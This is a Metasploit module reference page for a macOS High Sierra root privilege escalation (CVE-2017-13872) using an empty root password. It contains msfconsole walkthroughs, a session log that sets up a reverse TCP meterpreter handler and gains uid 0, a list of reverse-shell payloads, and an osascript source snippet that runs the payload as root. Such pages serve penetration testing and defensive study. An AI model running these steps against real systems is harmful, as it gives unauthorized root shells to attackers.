Mac OS X Root Privilege Escalation - Metasploit

This page contains detailed information about how to use the exploit/osx/local/root_no_password metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview

Name: Mac OS X Root Privilege Escalation
Module: exploit/osx/local/root_no_password
Source code: modules/exploits/osx/local/root_no_password.rb
Disclosure date: 2017-11-29
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): x64
Supported platform(s): OSX
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2017-13872

This module exploits a serious flaw in MacOSX High Sierra. Any user can login with user "root", leaving an empty password.

Module Ranking and Traits

Module Ranking:

• excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Basic Usage

Note: To run a local exploit, make sure you are at the msf prompt. Also, to check the session ID, use the sessions command.

msf > use exploit/osx/local/root_no_password
msf exploit(root_no_password) > show targets
    ... a list of targets ...
msf exploit(root_no_password) > set TARGET target-id
msf exploit(root_no_password) > show options
    ... show and set options ...
msf exploit(root_no_password) > set SESSION session-id
msf exploit(root_no_password) > exploit

Required Options

• SESSION: The session to run this module on.

Knowledge Base

msf exploit(psexec) > use exploit/multi/handler
msf exploit(handler) > set payload osx/x64/meterpreter_reverse_tcp
payload => osx/x64/meterpreter_reverse_tcp
msf exploit(handler) > set lhost 
lhost => 
msf exploit(handler) > set lport 4567
lport => 4567
msf exploit(handler) > run

[*] Started reverse TCP handler on :4567 
httpserver[*] Meterpreter session 1 opened (:4567 -> :49347) at 2017-11-29 07:28:32 -0600

meterpreter > sysinfo
Computer     : msfusers-Mac.local
OS           :  (MacOSX 17.0.0)
Architecture : x64
Meterpreter  : x64/osx
meterpreter > getuid
Server username: uid=501, gid=20, euid=501, egid=20
meterpreter > background
[*] Backgrounding session 1...
msf exploit(handler) > use exploit/osx/local/root_no_password 
msf exploit(root_no_password) > show options

Module options (exploit/osx/local/root_no_password):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.


Payload options (osx/x64/meterpreter_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Mac OS X 10.13.1 High Sierra x64 (Native Payload)


msf exploit(root_no_password) > set lhost 
lhost => 
msf exploit(root_no_password) > set lport 4562
lport => 4562
msf exploit(root_no_password) > set session 1
session => 1
msf exploit(root_no_password) > run

[*] Started reverse TCP handler on :4562 
[*] Writing payload file as '/tmp/cinbvsmrmyxw'
[*] Meterpreter session 2 opened (:4562 -> :62522) at 2017-11-29 07:29:56 -0600
[*]  - Meterpreter session 2 closed.  Reason: Died


[*] Executing payload file as '/tmp/cinbvsmrmyxw'
[!] This exploit may require manual cleanup of '/tmp/cinbvsmrmyxw' on the target

[-] Invalid session identifier: 2
msf exploit(root_no_password) > 
msf exploit(root_no_password) > 
msf exploit(root_no_password) > run

[*] Started reverse TCP handler on :4562 
[*] Writing payload file as '/tmp/imtjkakowanv'
[*] Executing payload file as '/tmp/imtjkakowanv'
[*] Meterpreter session 3 opened (:4562 -> :49348) at 2017-11-29 07:30:53 -0600
[+] Deleted /tmp/imtjkakowanv

meterpreter > sysinfo
Computer     : msfusers-Mac.local
OS           :  (MacOSX 17.0.0)
Architecture : x64
Meterpreter  : x64/osx
meterpreter > getuid
Server username: uid=0, gid=20, euid=0, egid=20
meterpreter >

Go back to menu.

Msfconsole Usage

Here is how the osx/local/root_no_password exploit module looks in the msfconsole:

msf6 > use exploit/osx/local/root_no_password

[*] Using configured payload osx/x64/meterpreter_reverse_tcp
msf6 exploit(osx/local/root_no_password) > show info

       Name: Mac OS X Root Privilege Escalation
     Module: exploit/osx/local/root_no_password
   Platform: OSX
       Arch: x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2017-11-29

Provided by:
  chethan177
  lemiorhan
  timwr

Available targets:
  Id  Name
  --  ----
  0   Mac OS X 10.13.1 High Sierra x64 (Native Payload)

Check supported:
  No

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SESSION                   yes       The session to run this module on.

Payload information:

Description:
  This module exploits a serious flaw in MacOSX High Sierra. Any user 
  can login with user "root", leaving an empty password.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2017-13872
  https://twitter.com/lemiorhan/status/935578694541770752
  https://news.ycombinator.com/item?id=15800676
  https://forums.developer.apple.com/thread/79235

Module Options

This is a complete list of options available in the osx/local/root_no_password exploit:

msf6 exploit(osx/local/root_no_password) > show options

Module options (exploit/osx/local/root_no_password):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.

Payload options (osx/x64/meterpreter_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Mac OS X 10.13.1 High Sierra x64 (Native Payload)

Advanced Options

Here is a complete list of advanced options supported by the osx/local/root_no_password exploit:

msf6 exploit(osx/local/root_no_password) > show advanced

Module advanced options (exploit/osx/local/root_no_password):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   ContextInformationFile                   no        The information file that contains context information
   DisablePayloadHandler   false            no        Disable the handler code for the selected payload
   EXE::Custom                              no        Use custom exe instead of automatically generating a payload exe
   EXE::EICAR              false            no        Generate an EICAR file instead of regular payload exe
   EXE::FallBack           false            no        Use the default template in case the specified one is missing
   EXE::Inject             false            no        Set to preserve the original EXE function
   EXE::OldMethod          false            no        Set to use the substitution EXE generation method.
   EXE::Path                                no        The directory in which to look for the executable template
   EXE::Template                            no        The executable template file name.
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   FileDropperDelay                         no        Delay in seconds before attempting cleanup
   MSI::Custom                              no        Use custom msi instead of automatically generating a payload msi
   MSI::EICAR              false            no        Generate an EICAR file instead of regular payload msi
   MSI::Path                                no        The directory in which to look for the msi template
   MSI::Template                            no        The msi template file name
   MSI::UAC                false            no        Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module
   WfsDelay                2                no        Additional delay in seconds to wait for a session

Payload advanced options (osx/x64/meterpreter_reverse_tcp):

   Name                         Current Setting  Required  Description
   ----                         ---------------  --------  -----------
   AutoLoadStdapi               true             yes       Automatically load the Stdapi extension
   AutoRunScript                                 no        A script to run automatically on session creation.
   AutoSystemInfo               true             yes       Automatically capture system information on initialization.
   AutoUnhookProcess            false            yes       Automatically load the unhook extension and unhook the process
   AutoVerifySessionTimeout     30               no        Timeout period to wait for session validation to occur, in seconds
   EnableUnicodeEncoding        false            yes       Automatically encode UTF-8 strings as hexadecimal
   HandlerSSLCert                                no        Path to a SSL certificate in unified PEM format, ignored for HTTP transports
   InitialAutoRunScript                          no        An initial script to run on session creation (before AutoRunScript)
   PayloadProcessCommandLine                     no        The displayed command line that will be used by the payload
   PayloadUUIDName                               no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                                no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                               no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking          false            yes       Whether or not to automatically register generated UUIDs
   PingbackRetries              0                yes       How many additional successful pingbacks
   PingbackSleep                30               yes       Time (in seconds) to sleep between pingbacks
   ReverseAllowProxy            false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                    no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                       no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                           no        The specific communication channel to use for this listener
   ReverseListenerThreaded      false            yes       Handle every connection in a new thread (experimental)
   SessionCommunicationTimeout  300              no        The number of seconds of no activity before this session should be killed
   SessionExpirationTimeout     604800           no        The number of seconds before this session should be forcibly shut down
   SessionRetryTotal            3600             no        Number of seconds try reconnecting for on network failure
   SessionRetryWait             10               no        Number of seconds to wait between reconnect attempts
   StagerRetryCount             10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait              5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                      false            no        Enable detailed status messages
   WORKSPACE                                     no        Specify the workspace for this module

Exploit Targets

Here is a list of targets (platforms and systems) which the osx/local/root_no_password module can exploit:

msf6 exploit(osx/local/root_no_password) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Mac OS X 10.13.1 High Sierra x64 (Native Payload)

Compatible Payloads

This is a list of possible payloads which can be delivered and executed on the target system using the osx/local/root_no_password exploit:

msf6 exploit(osx/local/root_no_password) > show payloads

Compatible Payloads
===================

   #   Name                                           Disclosure Date  Rank    Check  Description
   -   ----                                           ---------------  ----    -----  -----------
   0   payload/generic/custom                                          normal  No     Custom Payload
   1   payload/generic/shell_bind_tcp                                  normal  No     Generic Command Shell, Bind TCP Inline
   2   payload/generic/shell_reverse_tcp                               normal  No     Generic Command Shell, Reverse TCP Inline
   3   payload/osx/x64/dupandexecve/bind_tcp                           normal  No     OS X dup2 Command Shell, Bind TCP Stager
   4   payload/osx/x64/dupandexecve/reverse_tcp                        normal  No     OS X dup2 Command Shell, Reverse TCP Stager
   5   payload/osx/x64/dupandexecve/reverse_tcp_uuid                   normal  No     OS X dup2 Command Shell, Reverse TCP Stager with UUID Support (OSX x64)
   6   payload/osx/x64/exec                                            normal  No     OS X x64 Execute Command
   7   payload/osx/x64/meterpreter/bind_tcp                            normal  No     OSX Meterpreter, Bind TCP Stager
   8   payload/osx/x64/meterpreter/reverse_tcp                         normal  No     OSX Meterpreter, Reverse TCP Stager
   9   payload/osx/x64/meterpreter/reverse_tcp_uuid                    normal  No     OSX Meterpreter, Reverse TCP Stager with UUID Support (OSX x64)
   10  payload/osx/x64/meterpreter_reverse_http                        normal  No     OSX Meterpreter, Reverse HTTP Inline
   11  payload/osx/x64/meterpreter_reverse_https                       normal  No     OSX Meterpreter, Reverse HTTPS Inline
   12  payload/osx/x64/meterpreter_reverse_tcp                         normal  No     OSX Meterpreter, Reverse TCP Inline
   13  payload/osx/x64/say                                             normal  No     OS X x64 say Shellcode
   14  payload/osx/x64/shell_bind_tcp                                  normal  No     OS X x64 Shell Bind TCP
   15  payload/osx/x64/shell_reverse_tcp                               normal  No     OS X x64 Shell Reverse TCP

Evasion Options

Here is the full list of possible evasion options supported by the osx/local/root_no_password exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(osx/local/root_no_password) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages

This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Session already has root privileges

Here is a relevant code snippet related to the "Session already has root privileges" error message:

50:	    "osascript -e 'do shell script \"#{root_payload}\" user name \"root\" password \"\" with administrator privileges'"
51:	  end
52:	
53:	  def exploit
54:	    if is_root?
55:	      fail_with Failure::BadConfig, 'Session already has root privileges'
56:	    end
57:	
58:	    payload_file = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}"
59:	    print_status("Writing payload file as '#{payload_file}'")
60:	    write_file(payload_file, payload.raw)

Go back to menu.

Related Pull Requests

• #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
• #10299 Merged Pull Request: Add 88 CVEs to various auxiliary and exploit modules
• #10118 Merged Pull Request: Cleanup OSX local exploit modules
• #9273 Merged Pull Request: add authors to osx/local/root_no_password
• #9255 Merged Pull Request: add local exploit for osx root login with no password

References

• CVE-2017-13872
• https://twitter.com/lemiorhan/status/935578694541770752
• https://news.ycombinator.com/item?id=15800676
• https://forums.developer.apple.com/thread/79235

See Also

Check also the following modules related to this module:

• auxiliary/scanner/vnc/ard_root_pw
• exploit/osx/local/cfprefsd_race_condition
• exploit/osx/local/dyld_print_to_file_root
• exploit/osx/local/feedback_assistant_root
• exploit/osx/local/iokit_keyboard_root
• exploit/osx/local/libxpc_mitm_ssudo
• exploit/osx/local/nfs_mount_root
• exploit/osx/local/persistence
• exploit/osx/local/rootpipe
• exploit/osx/local/rootpipe_entitlements
• exploit/osx/local/rsh_libmalloc
• exploit/osx/local/setuid_tunnelblick
• exploit/osx/local/setuid_viscosity
• exploit/osx/local/sudo_password_bypass
• exploit/osx/local/timemachine_cmd_injection
• exploit/osx/local/tpwn
• exploit/osx/local/vmware_bash_function_root
• exploit/osx/local/vmware_fusion_lpe
• exploit/android/local/put_user_vroot
• exploit/linux/local/af_packet_chocobo_root_priv_esc
• exploit/linux/local/apport_abrt_chroot_priv_esc
• exploit/linux/local/diamorphine_rootkit_signal_priv_esc
• exploit/linux/local/libuser_roothelper_priv_esc
• exploit/linux/local/reptile_rootkit_reptile_cmd_priv_esc
• exploit/unix/local/chkrootkit
• auxiliary/gather/saltstack_salt_root_key
• post/android/manage/remove_lock_root
• post/linux/busybox/smb_share_root
• post/multi/escalate/cups_root_file_read
• exploit/linux/antivirus/escan_password_exec
• exploit/windows/http/integard_password_bof
• exploit/windows/http/zoho_password_manager_pro_xml_rpc_rce

Related Nessus plugins:

• MacOS 10.13 root Authentication Bypass (Security Update 2017-001)
• macOS 10.13 root Authentication Bypass Direct Check
• macOS 10.13 Authentication Bypass Remote Check (CVE-2017-13872)
• macOS 10.13.x < 10.13.2 Multiple Vulnerabilities (Meltdown)
• macOS and Mac OS X Multiple Vulnerabilities (Security Update 2017-002 and 2017-005)

Authors

• chethan177
• lemiorhan
• timwr

Version

This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.